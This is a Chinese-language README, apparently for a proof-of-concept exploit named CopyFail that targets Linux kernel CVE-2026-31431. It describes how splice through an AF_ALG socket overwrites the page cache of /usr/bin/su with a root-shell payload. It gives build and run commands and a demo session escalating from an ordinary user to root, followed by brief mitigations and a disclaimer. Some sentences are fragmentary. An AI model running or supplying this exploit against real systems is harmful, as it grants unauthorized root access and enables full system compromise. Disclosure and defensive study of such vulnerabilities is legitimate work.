CopyFail 是 CVE-2026-31431 的概念验证漏洞利用程序,针对 Linux 内核加密 API(AF_ALG)中的内存损坏漏洞。该漏洞利用 splice 系统调用对 /usr/bin/su 二进制文件执行未经授权的页缓存修补,从而实现无需密码即可提权至 root。
该漏洞存在于 Linux 内核通过 splice 在 AF_ALG 套接字与其他文件描述符之间进行零拷贝数据传输时的处理逻辑中。由于 aead 实现中缺乏适当的同步或边界检查,加密引擎处理的数据可能被写回源文件的页缓存。
AF_ALG 套接字,并使用 sendmsg 将恶意载荷排队到套接字的内部缓冲区中。splice 将 /usr/bin/su 二进制文件的数据传输到 AF_ALG 套接字,该漏洞导致套接字缓冲区内容覆盖内存中二进制文件的页缓存。su 的身份验证逻辑替换为一个生成 root shell 的最小化 ELF 载荷。由于页缓存已被修改,后续执行 su 时将运行攻击者的代码而非原始二进制文件。RawSyscall。AF_ALG/splice 交互直接操作内核文件缓存。fmt 或 os 包)。为当前架构编译漏洞利用程序:
go build -ldflags="-s -w" -o CopyFail CVE-2026-31431.go
运行编译后的二进制文件:
./CopyFail
成功执行后,su 二进制文件将在内存中被修补并执行,从而授予 root shell。
以下演示展示了在标准 Kali Linux 安装上编译并执行该漏洞利用程序的过程。
# 1. 验证当前非特权用户
kali@kali:~$ whoami
kali
# 2. 编译漏洞利用程序
kali@kali:~$ go build -ldflags="-s -w" -o CopyFail CVE-2026-31431.go
# 3. 执行 CopyFail 漏洞利用程序
kali@kali:~$ ./CopyFail
[+] 触发 AF_ALG 内存损坏...
[+] 在页缓存中修补 /usr/bin/su...
[+] 执行已修补的二进制文件...
# 4. 成功:提权至 root shell
root@kali:/home/kali# id
uid=0(root) gid=0(root) groups=0(root)
root@kali:/home/kali# whoami
root
为缓解此漏洞,建议采取以下措施:
af_alg 及相关模块:
modprobe -r af_alg
auditd)监控针对敏感系统二进制文件的可疑 splice 调用。⚠️ 警告:此工具仅用于授权的安全研究和教育目的。修补页缓存是一种不稳定的操作,可能导致系统不稳定。作者对滥用行为不承担任何责任。
CVE-2026-31431("Copy Fail")由 Theori 的研究团队发现并披露。
本项目采用 MIT LICENSE 许可证。